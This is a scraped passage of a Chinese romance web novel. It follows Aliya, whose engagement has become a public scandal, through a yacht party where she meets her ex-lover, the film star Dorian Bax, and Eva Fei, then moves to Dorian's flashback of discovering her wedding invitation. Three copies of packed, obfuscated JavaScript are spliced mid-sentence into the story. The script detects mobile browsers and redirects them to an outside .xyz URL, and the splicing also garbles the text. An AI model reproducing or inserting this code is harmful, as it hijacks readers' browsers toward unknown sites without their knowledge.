“电话里你听上去不太对劲,我以为你和亨利的婚约出了问题,但一见面,你看上去还挺好的。直到——”凯蒂谨慎地顿了顿,像在等待阿利雅阻止她继续,但阿利雅只是坐在那里,直勾勾地盯着玻璃茶几上的反光。 凯蒂最后还是没说下去。 她们都记得之后发生了什么。 两个大半年没见的假期朋友有说有笑地上楼,谈论着熟人的近况,还有逐渐迫近的婚礼,热热闹闹地走进凯蒂的套间。 阿利雅的行李已经送过来。 进门阿利雅一眼就看到那个晒得有些褪色的皮质行李袋。她朝它走了几步,像是等不及要整理东西。 然后,她突然之间就崩溃了。 膝盖,小腿,手掌,整个人到了地上,垮塌一般,散架一般。无法控制的颤抖和哭泣。那个行李袋是刺激原,身上的衣服是,窗外的晴空是,门口穿衣镜里自己的倒影也是。哭到头晕目眩,生理性恶心。 那个时候凯蒂什么都没问,只是陪着她,直到情绪的洪水退却。 现在凯蒂依然不追问。 这是她们持续至今的相处方式。 “也不是说只有搞几个男人玩才算放松。但就当是给我一点盼头吧,哪种方式都好,如果从一段婚姻中幸存的人都没法对自己好一点,没法尽情享受自由生活,我真不知道要怎么说服自己忍耐下去。” 阿利雅把靠垫抱到胸前,下巴深深地朝垫子里沉下去。 “我试试,”过了半晌,她轻声说,“但我什么都没法保证。” ※ 晚上泡了个澡,阿利雅带着笔记本电脑缩到床上。 她在搜索引擎里键入Screenlist,打开这个已经许久许久没上过的观影记录网站。她不记得用户名和密码,但浏览器密码管理器还记得。 登入,Screenlist的版面设计和交互都有了很大变化。除了影视条目库和评论等社交功能,这个网站现在还多出了影视新闻板块,时不时会弹出浏览器通知小窗报告最新头条,并且每条新闻都和相关人物和影视作品关联。 这个账户最早的观影记录在近十年前,最近的一条停在五年前。 阿利雅并不是账户的创建人,只是恰好和人共过一段时间这个账号。 她把背脊向后再靠了一点,深吸气,点开账户安全设置。 下滑,找到与账户绑定的手机号。 在手机上输入这个号码,编辑短信。 反复删改重写之后,输入框里是这么一段: ‘我不知道你是不是还用这个号码。不管怎样,很高兴再次见到你。昨天我说我为过去感到抱歉,是真心的。我很希望我能收回今天早上说的一些话。希望你没有把那些话当真。无论如何,祝你之后万事顺利,一切好运。’ 阿利雅又确认了一遍短信,气泡声响,她把视线暂时从手机屏幕上抬起。 是Screenlist弹了一个新提醒窗口: 《火花四溅?菲和巴克斯这次可能是来真的》 《多里安·巴克斯与伊娃·菲共进甜蜜午餐》 阿利雅点进去看了几秒,啪地合拢笔记本电脑。目光下移,挪向手机屏幕。 她低笑了两声,长按输入法退格键,写好的消息一个字母一个字母地回退消散,直到彻底清空。 10.4-1 阿利雅再次见到多里安是近半个月后。 游民影业早早开始为颁奖季造势,菲利普和他的团队重金租下豪华游艇,举办夏夜派对。阿利雅因为还借住在萨金家别墅,自然也收到邀请。 她原本并不打算出席。影视圈子和她交集小,而且她已经相当长一段时间没参加过这种大型社交活动,没理由为菲利普破例。 但在凯蒂的央求下,阿利雅最后还是坐上了驶往卡维拉港的加长轿车——如果她不去,凯蒂一整晚基本就要和菲利普困在一起了。这实在有点可怜。 因为是临时改变主意,阿利雅没来得及要一份派对宾客名单。 又或者,她故意没有去多想谁会出席。 登船之后,阿利雅先陪着凯蒂打了一圈招呼。 大约因为娱乐行业的人见惯了丑闻,又或者这个圈子里的每个人都或多或少有点演技,阿利雅并没有因为身上的大新闻被特殊对待。 即便有好奇的探究视线落到她身上,也在她回望前礼貌地挪开了。 阿利雅两人在一层甲板转了十五分钟。直到游艇启航出港,她们也没碰见菲利普。 也没遇见别的熟人。 凯蒂不急着找未婚夫,阿利雅也逐渐放松下来。她们说笑着逛到二楼,穿过一道微微拂动的白色纱帘,身后忽然传来呼唤。 “凯蒂!亲爱的,你在这里。” 凯蒂翻了个白眼,转过身时,脸上已经挂着挑不出错但略显冷淡的微笑:“噢,菲利普,我们找你好久了。” 阿利雅跟着回头,不由怔了怔。 今晚的着装要求是浅色鸡尾酒礼服。于是从甲板到船舱走廊,到处是相似却又微妙不同的夏日度假色彩:纯白、米色、奶油色、亚麻色、象牙色…… 也正因为全场人都穿相近色系,而且影视公司的派对上最不缺俊男美女,只有绝对过硬的容貌和身姿才能在这群人中格外出众。 菲利普身边的,就是这么一对极度养眼并且惹眼的男女,同时也是近期最热门的绯闻情侣: 多里安·巴克斯和伊娃·菲。 “伊娃,这是凯蒂,我的未婚妻,还有我们的朋友阿利雅。” 菲利普的声音从阿利雅的耳边滑过,像是隔着一层厚而模糊的水波。 阿利雅微笑着看向伊娃,看她润泽的巧克力色秀发,看她别致的不规则设计鸡尾酒礼裙,看她和凯蒂虚贴脸颊,没让视线偏移。 伊娃身边深色头发的人于是始终是阿利雅视野边缘的失焦色块,面目模糊。 “我得说,阿利雅……希望你不介意我这么称呼你,你比照片上还要美丽。”伊娃深邃的黑眼睛转向阿利雅,友好地弯了弯。 这位女星的做派与她的外貌一样充满南国热烈的风情,虽然是初次见面,她依然主动伸臂和阿利雅互贴面颊亲密问候。 “这话应该还给你才对。这么说听起来有点奇怪,但我真的是看你的电影长大的。”阿利雅回忆着对伊娃某两部代表作的喜爱,尽可能表现得真诚友善,与对方相视一笑。 而后,她维持着这笑容,转向和凯蒂寒暄完毕的在场第四人。 “嗨,多里安,很高兴又见到你。”阿利雅的声音随意而放松。 多里安盯了阿利雅半拍,困惑的光在眼睛里闪烁。 好样的,说不定她也有演艺天赋,她轻快地腹诽,她的表演竟然差不多能让金常春藤得主信服。 多里安喃喃地回了句问候,阿利雅没听清楚。 因为他靠近了朝她俯下来。 阿利雅第一反应是退开。多里安好像读懂了她的肢体语言,脸上掠过不可思议的古怪神色。她立刻意识到,他只是打算和她行贴面礼。 也是,她都和伊娃这么问候了,和已经见过面的多里安再握手反而疏远得可疑。 阿利雅于是猛地收住动作。 她的身体因为用力绷紧,因而显得有点僵硬。 多里安原本虚张的手指随之握成拳,刻意强调自己得体避嫌似地,悬停在距离阿利雅肩胛半个手掌的地方,不和她有多余的肢体接触。 再一眨眼,他已经后撤回到社交距离。 反倒是他身上的古龙水气味在阿利雅身周多停留了须臾,才消散在轻柔的晚风之中。 她挺身站直的动作不禁微微凝滞。 前调带着凉意的佛手柑清香已经很淡,微涩的苦橙与无花果叶香气绿意盎然,缠绕着沉稳的松木调。阿利雅轻松辨识出组成这香气的元素。 “迷失绿野”,某奢侈品品牌经典古龙水系列中略微冷门的一款。 五年前的夏天,她帮旧书摊老板看了一周店,给多里安买了这支香氛。 也许是命运戏剧性的讽刺,数年后,多里安成了这一品牌的形象大使。 他今天用这支古龙水,或许也是在履行商业义务。阿利雅和多里安短暂对视,双方都没有多余的表情。她立刻挪开视线,没允许自己顺着这小细节想太多。 她甚至有些感谢菲利普突然作响的大嗓门: “都到自助餐吧附近了,我们不如都来点小食,你们一定得尝尝这次的生蚝!” 如菲利普所言,新鲜肥美的生蚝躺在剔透的冰盘中,无疑是今晚餐食的主角。 阿利雅毫无胃口,这种情况下强行吃海鲜感觉是个坏主意。她的目光随后扫过迷你烟熏三文鱼乳酪塔和生火腿三明治,没有停留。旁边的地中海式色拉慷慨地撒着橄榄和羊奶酪,也对她缺乏吸引力。 在餐区晃了一圈,她最后只拿了装在精致小杯子里的西班牙红冷汤。 “你也在节食?”伊娃冲阿利雅举了举冷汤杯,她手里的是绿色冷汤。 “我很久没坐船了,有点没胃口,”阿利雅打量了对方一眼,“不过,你真的需要节食吗?” “什么?我敢说你的身材让全球一半人羡慕,别对自己太狠了。”凯蒂也走了过来。 伊娃叹了口气,异常珍惜地吃着插在冷汤里的大虾:“镜头对女演员非常残忍。盐分容易让我浮肿,我能吃的只有这个和那边的生蚝。虽然现在口头都说着要爱自己的身形,自信最美,到了红毯上,所有人都还是会盯着你不够平坦的小腹、不够紧致的手臂看。” 她说着用下巴朝周围的人群点了点:“看看到底有多少人在享受美食就知道了。啧,说着这就来了一个,有时候我真嫉妒男演员。” 阿利雅和凯蒂顺着伊娃的视线看过去。多里安随意地边走边吃,恰好把一口大小的三文鱼塔放进嘴里。察觉到三位女士的视线,他抬手挡了挡嘴唇,随手拿了杯红色冷汤走过来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436890|184066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是我的错觉吗,这里好像有人在说我的坏话。”他笑笑地对伊娃说,目光却自然地滑向她身侧的阿利雅,像在观察她对伊娃的态度,定了定才转回去。 “不,我在对阿利雅宣扬你在片场都每天五点半起床健身的事迹。”伊娃受不了似地摇头。 阿利雅似笑非笑地附和:“这可真了不起。” 多里安沉默了半拍,而后耸耸肩:“夏天天亮得太早,我睡不着,我还能怎么办?” “我之前说过,你真的应该去买个更好的眼罩。” 在凯蒂的追问下,伊娃和多里安说起了更多片场趣闻。哪怕不带着绯闻滤镜去看,这对共演者的关系也显然不错。 阿利雅懒得强打精神加入对话,索性当沉默并且不专心的听众。她自顾自抿了一口红色冷汤,迟疑地顿住,忽然抬眸瞟向多里安。 多里安正含笑听伊娃讲述道具组搞出的乌龙,却在她看来后立刻投来一瞥。 “标的是西瓜番茄冷汤,彩椒的味道却最重。”阿利雅略微蹙眉,抱怨似地说道。 伊娃立刻轻呼了一声:“啊,那么多里安不能吃这个。他对彩椒过敏。” “噢,多谢提醒。”多里安搁下小杯子,朝阿利雅看去,她却恰好别开脸避开与他对视。 红冷汤里生彩椒那点原本完全可以忽略的苦味此刻异常浓烈。糖果色的马卡龙,水果挞,芒果椰子雪葩,闪电泡芙,树莓黑巧克力慕斯,甚至是阿利雅平时嫌太甜腻的芝士蛋糕也可以,什么都好,她需要更强烈的甜味刺激。 “我去甜品区看看。”她扔下这么一句,往自助餐吧走去。 多里安下意识也跟着转身,凯蒂却在这时候一把拽住了姗姗来迟的菲利普:“上帝,你没问过客人的过敏原?多里安对这道冷汤过敏!” “没有那么严重,不至于有生命危险……”多里安不得不出言澄清,“对椒类过敏比较少见,我也没让助理事先告诉你们,是我的问题。” 他花了好几分钟,终于说服菲利普和凯蒂他对此并不在意。 “女士们,需要餐后甜点吗?”多里安以结束话题的口吻提议。 伊娃若有所思地看了他一眼:“我不能吃,但其他人可以替我吃。尤其是愿意多运动几个小时消耗掉热量的某些人。” 多里安走近甜点柜的时候,阿利雅正对着一排水果塔发呆,像是没法在柠檬挞和草莓蓝莓挞之间做出决断。 他在她身侧半步处停住,好像也被水果挞这一世纪难题困住了。 “菲利普强力推荐马卡龙,说是从巴黎空运过来的。”他突然说。 阿利雅被吓了一跳,朝旁边闪了半步才侧首看过来。她也只看了他这一眼,随后拿起正前方的柠檬挞放到盘子里,转身往放马卡龙的冷藏柜反方向走。 身后有脚步声跟过来,而后是语声: “有次剧组餐饮给我的午饭贴错了标签,蔬菜汤里混了彩椒,我的嘴唇肿得一个下午没法上镜,片场所有人都知道。” 阿利雅闭了闭眼,仍然不看他,反而俯身认真比较起哪一杯雪葩的形状最完美:“为什么突然和我说这个?” “我觉得你或许会想知道这件事。” 一拍充满悬念的停顿。 “那么,你想知道吗?” 11.4-2 “想啊。” 最不抱期望能听到的肯定答句响起,多里安反而一副见鬼了的表情。 他本能地怀疑这是陷阱,于是狐疑地等待,等阿利雅接着说出一个‘但是’,又或是吐出别的推翻前文的转折。 阿利雅此时终于挑出了心仪的那杯雪葩。她直起身,面色如常地继续这个话题:“我不是能坦荡祝前任幸福的那种人——哪怕我已经没有留恋了,我仍然做不到那么大度。” 追问的词句呼之欲出,多里安蓦地抿住嘴唇,锁死它的去路。 有些问题只要出口就是在意,就是示弱。他和她都再清楚不过。 阿利雅淡然扫他一眼,端着选好的甜点,眼看着就要从他身边径直路过。 “所以你的意思是,我们没法做朋友?”多里安冷不防问。 她的脚步稍停。 “难道可以吗?”她侧首,看着他的眼睛反问。 整船的宾客、从上层甲板流淌下来的乐声、食物和酒水香气、悬在两人头顶的球形纸灯,一切的一切都骤然消解成浪尖上的浮沫。 切实的只有脚下方寸的地面,还有一眨不眨对视的彼此。 然后,阿利雅眨了一下眼睛。 时间暂停的魔法失效了。 多里安扯了扯嘴角,低声说:“恐怕不行。” 阿利雅已经低着头与他擦肩而过。 两个人先后回到小桌边。多里安在回来之前的短时间内扫荡了一遍甜品区,端来的盘子里应有尽有,还贴心给热门品种留了多人份。 这么一来,他刚才这一趟倒好像真的是专程给所有人拿点心去的。 凯蒂称赞了几句多里安的绅士风度,找到机会给了阿利雅一个质询的眼神;阿利雅就当没看到。 伊娃·菲的目光也在阿利雅和多里安之间转了转,但她也没多说半句话。 “啊哈,现在人齐了正好。我刚和伊娃说起,《玛蒂尔达》有个很可行的宣传提案——”菲利普一如既往,不放过任何一个谈公事的机会。 “菲利普……”凯蒂试图打断他。 “亲爱的,我只是问问,什么都没定下来,”菲利普态度坚决,转向阿利雅,对她露出商业笑容,“阿利雅,我可能需要你帮我们一个忙。” 阿利雅意外地扬起眉毛:“我?” 因为和凯蒂住在一起,她难免会听到菲利普提及公司经手的项目。 《玛蒂尔达》是伊娃和多里安此前合作的那部电影,去年年末杀青,下个月在电影节首映;同时也是两人绯闻诸多素材的源头。 从历史正剧题材、豪华编导阵容,再到主角人选自带的光环,还有完全贴合冲奖最佳时间线的制作和宣传周期,《玛蒂尔达》根本没试图掩饰冲击下一年小金人的野心。 游民影业还没能力主导这样的项目,此番主要负责合作宣发。 “我们谈下了10月?toile的双人封面和专访内页。这个档期的杂志封基本是幕后揭秘性质,多放点料给主演粉丝和潜在观众,为院线上映提前预热,制造话题。 “《玛蒂尔达》是时代片,但穿戏服拍有点无聊,也和片子重新解读历史的意图相冲。所以目前我们定下的方案是,让伊娃和多里安穿当代时装在有历史感的地点拍摄。这样也更方便两位的合作品牌加入赞助。” 一个离奇的想法在阿利雅脑海中逐渐成型。 菲利普希望她帮的忙该不会是—— “之前我听凯蒂说,博蒙特城堡一期修缮工程刚好最近竣工,年末开始接受参观预约。我就直说了,如果这期封面可以在那里拍摄,话题度肯定会爆炸,对双方都有好处。” 阿利雅第一反应是看向多里安,确认他是否事先知晓菲利普这个大胆到吓人的企划案。 但她硬生生忍住了。她半途改了方向,给凯蒂一个安抚的微笑,而后才正面回应: “菲利普,你那边的公关团队真的觉得这是个好主意?说实话,我认为博蒙特这个名字可能会造成反效果。” 对方颇为坦诚:“有风险,但是值得一试。” 阿利雅转向本片戏份上的第一主角伊娃:“你怎么看?没必要顾虑,所有人都知道我身上沾着什么丑闻。” 伊娃手指绕着颊侧一缕散发,转了又转。思考片刻后,她一甩头:“我觉得未必是坏主意。毕竟这片子讲的,就是一个因为丑闻被夺走王冠的女人的故事。” 停顿一拍,她补充:“当然,我还得回去和经纪人仔细讨论。” “好极了,伊娃不反对。多里安?” 多里安耸肩:“这下子我要是反对,不就成了扫兴的那一个了?” 菲利普听上去异想天开的炒作提案竟然获得了两位主演的支持,这大大出乎阿利雅的意料。她对娱乐行业的想象或许还是太过天真了。 也是这一份惊愕让阿利雅看清楚:她其实期待着多里安会拒绝。 多里安和伊娃合体的宣传照的确可以给博蒙特城堡带来流量。可她不确定自己真的想要这份关注度。 “真的吗?”她噙着调侃的笑容,“经营良好的公众形象可比破坏它困难多了。直觉告诉我,巴克斯先生的经纪团队不会认可这种高风险炒作。” 多里安把一个草莓红马卡龙扔进嘴里,仔细咀嚼吞咽,而后慢条斯理地来了句:“我是他们的雇主,最后还是我说了算。” 菲利普闻言当即双掌一合,喜色简直要从眼角眉梢淌下来。 “而且,有不少人已经认定《玛蒂尔达》在用主演绯闻炒热度,”多里安拨弄着果盘里嫩绿的葡萄,眼风似笑非笑地朝阿利雅的方向一扫,“除非城堡主人不欢迎我们,或者有别的不方便和我们合作的理由?” 阿利雅没接茬:“这不是我能一个人决定的事。既然各位是认真的,之后我会找基金会理事会其他成员讨论,当然,还有必要请文物保护人士做风险评估。” “我等的就是这句话,那么之后我们再细谈。”菲利普说着环顾四周,一招手叫来侍者新开一瓶香槟。 “干杯?” “干杯!” “干杯。” 曲线优美的郁金香形香槟杯碰撞,轻盈的泡沫挣脱玫瑰色的酒浆起飞,在夕照中熠熠闪烁。 阿利雅和伊娃·菲靠在甲板围栏边,再次碰杯。 她也说不清楚为什么最后会变成她一个人和伊娃对酌。 菲利普最先抽身去问候别的客户,那之后不久,多里安也被相熟的摄影指导叫上,去找投资方联络感情去了。 凯蒂呼吸够了这艘游艇上公事私办的气息,提议去日光甲板吹风观赏日落。然而没等到日轮触碰到海天相接的那一线,她就被一个短信叫走了。 ——她某位表姐分居中的丈夫带着情人堂堂现身底层甲板舞池,表姐急需助阵。 反倒是伊娃,她的公众形象素来充满活力、以高情商著称,今天她却似乎无心应酬。她婉拒了熟人的邀请,拉着阿利雅找了藏在顶层观景台阴影里的幽静角落,有一搭没一搭地和她聊些琐碎的话题。 阿利雅确信伊娃并非无缘无故找她作伴。 对方看她的眼睛里有孩童般的好奇,不带偏见,却有一点谨慎的、审视般的观察;这份锐利属于早早在荧幕中失去童真的业界老手。 这让阿利雅有些芒刺在背。 然而越是这样,她反而愈发更想知道,被盛赞为独一无二的伊娃·菲究竟想在她这里得到什么。 “说来很奇怪,夕阳虽然很美丽,但我总是很难喜欢一天的这个时候。”伊娃举起酒杯,透过玻璃看因为杯壁弧度微微扭曲的绚丽天空。 “为什么?” 日落是阿利雅一天里最喜欢的时分。 伊娃像是第一次认真思索缘由,沉默片刻之后说:“日落最后,尤其是天空彻底变暗前的那几分钟,莫名让人感伤,不是吗?” 阿利雅笑了笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456762|184066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 紧随着日落而来的浓郁澄蓝席卷天地,总是让她感到安全平静。 阿利雅摸出手机看了一眼,天气APP精准预告,距离今天的蓝色时间开场还有16分钟。 “你好像持不同看法。”伊娃好像有点醉了,更加露骨地偏头观察她。 阿利雅仰头笑了笑:“我有许多日落时分的美好回忆。” 和家人的,和另一个人的。 真不可思议,回忆中的某个人缺席的时候,她居然能坦然承认了:和他的某些时刻现在回头看,依然闪闪发光。 “真好,”伊娃呼出一口气,“我可以问一个问题吗?” “我有说不的权利吗?”阿利雅反问。 对方愣了一下,阿利雅噗嗤笑了:“开玩笑的,你问吧。” 伊娃反而迟疑了须臾,左右看了看确认没人,这才开口:“你和多里安之前就认识吗?” 果然和他有关。 模糊的预感应验,奇异的轻松笼罩阿利雅。 吱呀吱呀,随着海浪轻柔起伏,停泊的游艇轻轻摇晃,索具和细杆相碰,船身各处的金属关节也挤压作响,此起彼伏,像船在自言自语,又如同有人从头顶踩着木板栈桥路过。 她看着水波尽头夕阳余晖的最后一笔,淡然说:“很久以前,他还没现在那么有名的时候,我和他碰到过。但那之后已经很多年没联系了。” 伊娃端详她片刻,缓声道:“只有这样?” 阿利雅再一次用问句回答问题:“你想得到什么答案?” “那么,如果我对他有想法,希望和他发生点什么,你也不会介意?”伊娃这一次正面接下了她抛来的球。 阿利雅眨了眨眼。 在海波上雀跃的光像流动的银色金属,如水银冰冷的那种,从瞳孔钻进她的血管。伊娃的问题,她居然答不上来。 “放心,没到正经严肃的地步,我目前只是有点兴趣,而之后恰好我们要一起宣传好几个月新电影,有足够多的机会。所以我想,为什么不呢?拜托,是那个巴克斯诶。”伊娃任由海风吹乱头发,穿过发丝的目光坦荡。 “我不想闯入破坏现有的一段关系,而你和他之间有种奇妙的氛围……所以我需要听你的意见。” “你该征求的不是我的意见,”阿利雅找回了声音,“一个大活人不是我可以单方面推让的物件,我也没法控制任何人的行动。” 伊娃眯了眯眼睛:“真的吗?刚刚在自助餐吧,我还是第一次看见他那样留意——” “如果你如愿以偿,我也不会怨恨你。我可以保证。这样说可以了吗?”阿利雅抢白。讶色在伊娃脸上一闪而过,像是看到了什么不可思议的东西,阿利雅不禁也有点好奇自己此刻的神色,可惜周围没有窗玻璃或是镜子。 她垂眸笑了一下:“总之,我不介意。决定权也不在我。” 这么说出口的那一刻,她好像也完全相信了自己的话。 “好吧。”伊娃脸上找不到喜悦,反而充满无奈。 她随即猛地一抬头,朝着上方扬声道:“你听到了,她是这么说的。” 阿利雅还没反应过来,伊娃就对她挤挤眼睛,快步走远了。 与此同时,通往顶层观景甲板的金属旋梯承重发出轻响,有人下到阳光甲板,从楼梯后缓步转了出来。 “我好像不久前刚听人说过,你并不是那么大度的人。”多里安说着直直朝阿利雅走过来。 他的唇角勾着,眼睛里没有笑意。 “我偶尔也想体会一下大度的感觉,”一看到他,她说话一针见血的本事忽然就又离奇见长了,“你又在恼火什么?” 多里安抬手。 阿利雅立刻侧身闪躲,哪知他的目标不是她。 “你觉得呢?” 他低声嗤笑。 在转身扬长而去之前,他异常自然地拿走了她手里的酒杯,仰头将她喝剩的桃红起泡酒一饮而尽。 12.4-3 起泡桃红酒精度数不高,多里安却在走了几步之后就有些目眩。 痉挛的灼烧感从喉管蔓延到胃袋,身体比大脑更快反应过来:他比预想中还要愤怒。 多里安没搭理叫他名字的人,一头扎入最近的楼梯口,把观景台和阳光甲板甩在身后。闭眼又睁眼,他还是看得见阿利雅。 身姿笔直却又僵硬,脸是假面般的无表情,眼睛却很亮,跳动着近似挑衅的倔强。 阿利雅自知不占理并且词穷的时候就是这模样。 她可以承认过错,会坦率地道歉。然而她的歉意总是还差一口气,因为里面找不到哪怕一丁点的懊悔。 错了就是错了,她承认并且接受后果,但她不会后悔。 那个夏天唐突终结时也是这样。 那是8月17日,原本会淹没在一整个长夏里的普通一天。 没有任何特殊预兆。旧屋坍塌前会低低哀鸣,但突变直到降临前一刻都寂静无声。所有预兆都是后觉的产物,只有回顾时,平平无奇的日常噪音里才突然到处都是不祥的音调。 那天的晨间新闻头条是昨日政治丑闻的延续,天气和之前的半个月的每一天相同,晴朗无云。 喝过咖啡,多里安与阿利雅亲吻道别,她送到公寓门口,抬手拨了两下他的额发,看着他的眼睛祝他好运。离开那栋短租公寓楼,他没往露台咖啡馆的方向走,而是坐单程1小时48分钟的火车去参加试镜。 多里安心态随和。 就在两天前,他终于等到托马斯·达什的跟进电话。这位小有名气的艺术电影导演声音里有歉意:虽然多里安是目前为止最契合新片主角形象的试镜者,但很遗憾,他还是没有拿到这个角色。 考虑到这个角色的演绎难度,选择与角色年龄完全相同的新人演员出镜有相当的风险。 毕竟多里安目前只出镜过几个音乐录像带,制片人和资方都怀疑他是否能够在拍摄期间迅速成长起来,更看好另一位已经有过同类型角色经验的竞争者。 但是,达什导演意味深长地补充,他更看重的还是演员能否完全成为角色。在9月最终选角会议之前,他会继续寻觅最佳人选。 多里安那时的经纪人认为这是明显不过的暗示: 达什对头号竞争者更加不满意,只不过多里安目前也没能达到他的预期。只要多里安能够证明自己,导演不介意去和制片人他们掰一掰手腕。 多里安当然希望得到这个角色。 但要怎么在不到半个月内让角色理解和演技突飞猛进?他没有头绪。 现在再报名新的表演工作坊也像是为了努力而努力。先不论报名费要从哪里凑齐,他还有生活,还有恋人,他没办法、也舍不得把所有现有的所有抛开,把全身心作赌注,押一个希望微渺的机会。 多里安隐隐约约猜到,他目前欠缺的或许正是这孤注一掷的狂热。 但有什么办法?热恋期仿佛连大脑构造都能重塑,对现有生活的眷恋越积越高,留给野心的空间也就愈少。他有时甚至觉得,如果每一天都像这个夏日,一辈子都在海边小镇当个无名小卒也不是坏事。 出于难以解释的心态,他向阿利雅隐瞒了事情的曲折,所以她只知道他再度受挫,最后还是没能拿下达什新作的主角。 检票员巡查到多里安所在的车厢。多里安从包里摸车票,愣了一下顿住。 落在他身上的视线顿时锐利起来。 多里安立刻掏出票券解除误会,等检票员走过去才重新去探随身包内层夹袋。 他摸出了一枚硬币。1欧元面值,金属表面光泽黯淡,不知道被触碰过多少次。翻转过来看,背面不见图案和星环,与另一面完全相同。 ——正反相同的稀有错版硬币。 阿利雅给他展示过,这是她的幸运硬币。她总是放在贴身钱包的秘密夹层里,不知道今天早晨什么时候偷偷藏在了他的包里。 多里安低头笑了,摩挲了片刻这枚硬币,小心地放回原位。 他心头残余的失落情绪彻底消失了。 客观来说,他对这次远征也该乐观一些。 能进入定角备选名单也是一种实绩,而选角导演的圈子并不大。多里安这次参加的是一部商业爱情喜剧片的配角试镜,选角导演的态度明显颇为亲切,拿下男三号似乎很有希望。 试镜工作室的等候区里有好几张熟面孔。 本片已经定下的女二号居然也早早到了,正和一群漂亮得各有特色的男孩谈笑。多里安进门时打过招呼,立刻抬眼张望,找到几个疑似有摄像头的角落。 果然。试镜从等候室就开始了。 既然是爱情片,演员之间的化学反应比什么都重要。 女二号看到多里安眼睛一亮,邀请他在她附近的空位坐下。 开始有人陆陆续续被叫进去试镜,等候中的年轻人们谈到周末的计划,女二号带着点炫耀意味地宣告,她要去巴黎试之前定制好的礼服裙。 来试镜的男孩们像骑士们簇拥女王,识趣地追问详情。 答案是她受邀参加下个月一场豪华的海岛婚礼,新郎是炙手可热的科技业亿万富翁。 在捧场的艳羡议论声中,女二号调出手机相册照片展示电子邀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470942|184066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请函。 多里安对这种状况有些不耐烦,但他当然不能流露出任何不快,于是越来越沉默。在无聊话题时保持安静是他的极限。 他听着女二号议论新娘和她的家族,古老并且行事极为低调。有关注这场婚礼的男孩接口,新娘的家世远远没有很多人想象得那么显赫,要不然为什么要和这么个大洋对岸的暴发户成婚呢? 接着有人打趣新娘肯定对外貌不那么自信,不然怎么请柬上都没有她的正脸照? 多里安这时往女二号的手机屏幕扫了一眼。 电子请柬选择的是新人相握的手部特写。 任何人第一眼注意到的都难免是那一对订婚戒指,碎钻环绕的主石几乎遮盖住新娘整节指骨,肉眼可见的昂贵。 有什么不对劲。多里安怔然盯住照片。 “抱歉,可以再让我看一眼吗?我姑母是珠宝经销商,我对新人的戒指很感兴趣。”他略微倾身,向手机主人微笑。 女二号双颊忽然有些泛红,她呛了一下,忘了询问缘由,直接把手机屏幕朝向他。 多里安用视线描摹新娘从腕骨到指尖的轮廓,指关节的粗细,无名指比食指长出的那一小截,抓握时手背上端血管微微凸起的位置…… 每个细小的特征都越看越觉得眼熟。 砰砰砰砰,吵闹的鼓声源头在他的胸腔内部,浑身血液被心脏的鼓点催着往上涌,视野轻微模糊又聚焦,看到的并非幻觉。 等候区冷气开得不算慷慨,多里安却打了个寒颤。 只是巧合,他吸了口气,十指交握,控制住突如其来的颤抖。 他确实有自信认出一次次亲吻、戏弄啃咬还有交扣过的指掌。但毕竟人手的标准形态都是五根手指、共十四指节,毫无关系的人都能五官相似,地球上有一双瞧着眼熟的手又有什么奇怪的? 他到底在想什么?怎么可能? 为了心安,为了证明猜想的荒诞无稽,多里安的目光挪向照片下方的文字。 ‘诚邀您莅临玛悦卡岛 ‘一同见证亨利·道尔 ‘与’ 像是害怕看清余光早就捕捉到的字文字轮廓,多里安任由视线虚浮地悬了半拍,而后终于继续一个词一个词地读下去。 线条流丽的意大利体在他眼中忽然变得如怪异并且陌生,认识的字母拼凑在一起,成了他不认识的形状,不想认识的形状: ‘阿利雅·夏洛蒂·德·博蒙特的幸福时刻!’ 这世上原来还有一个也叫阿利雅、手指模样也与他认识的阿利雅相似的人。 这世界真奇妙。 13.4-4 多里安僵立在公寓走廊上,和门上小小的猫眼口对峙。 试镜过程和回程火车都被挤到意识模糊的角落,清晰的只有每分每秒不停歇煎熬他的愤怒。他吸进的每口气都像要灼伤喉咙,然后他的肺叶、他的血管都开始升温燃烧。 持续翻腾的情绪在他抵达公寓楼下时抵达沸点,化作突如其来的晕眩。耳朵里嗡嗡响得厉害,他不得不紧抿住嘴唇。 因为感觉一张嘴,他就会不受控地呕吐出连篇的质问和指控。 电梯比平时还慢,多里安等不及,一口气跑上六楼,右转,前进,左手边第三扇门。 他在浅灰绿的金属门板前停住,再无法继续往前一步。 惊怒的火焰被兜头一捧恐慌浇灭。他为该怎么质问阿利雅反复打过腹稿,临到头才发现,他竟然没想象过她会怎么回应。 钥匙锯齿深深嵌入多里安的掌心,他感觉不到痛。 斜对侧的公寓门倏地打开,面熟的邻居拎着垃圾袋出来,看到他愣了一下。 “忘带钥匙了?要我叫管理员来吗?”对方困惑地沉默片刻之后提议。 “不,不……”多里安喃喃,抬手将钥匙对准门锁。 